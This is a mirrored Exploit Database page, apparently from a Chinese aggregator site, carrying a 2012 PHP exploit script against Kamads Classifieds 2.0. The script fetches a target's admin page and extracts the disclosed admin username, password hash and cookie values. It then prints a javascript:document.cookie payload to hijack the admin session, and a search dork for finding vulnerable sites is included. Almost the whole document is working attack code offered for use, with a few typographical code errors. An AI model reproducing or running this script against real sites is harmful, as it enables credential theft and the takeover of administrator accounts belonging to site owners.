Kamads Classifieds 2.0 – Admin Hash Disclosure

• Exploit Database
• 126 阅读

• 作者： Mr.tro0oqy
  日期： 2012-08-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/20391/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67

  <?php     if ($argc < 2) { echo "\n+-----------------------------------------------------------------+\n"; echo "| Kamads classifieds V2 Multiple Vulnerabilities|\n"; echo "|Author:Mr.tro0oqy|\n"; echo "|uxxd@hotmail.com |\n"; echo "|dork:inurl:V2A_XHTML |\n"; echo "| |\n"; echo "+-------------------------------------------------------------------+\n"; print "\nUsage........: php $argv[0] <host><path><admin.php>\n"; print "\nex...........: php $argv[0] http://www.target.com/V2A_XHTML/admin/admin.php\n"; die(); }else {     $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,"$argv[1]"); $op1 = curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"); curl_setopt($ch,COOKIESESSION,true); curl_setopt($ch,CUSTOMREQUEST,"get"); $x = curl_exec($ch);     if ($t = stristr($x,"username = ") andstristr($x,"password = ")) { echo "\n"; echo "\n"; echo $new = substr($t,0,94);     if ($co=stristr($x,"theCookieName") and $co2=stristr($x,"theCookieValue")) {   echo "\n"; echo "\n"; echo $new2 = substr($co,0,35); echo "\n"; echo $new3 =substr($co2,0,40); echo "\n"; echo "\n";   $ja = substr($new2,17,15); echo "\n"; $ja2 = substr($new3,18,18); echo "\n"; echo "\n"; echo "\n";     echo $exploit ="javascript:document.cookie=\"$ja=$ja2;path=/\";"; echo "\n"; echo "\n"; echo "\n"; }       }else { echo "not found";   }   } ?>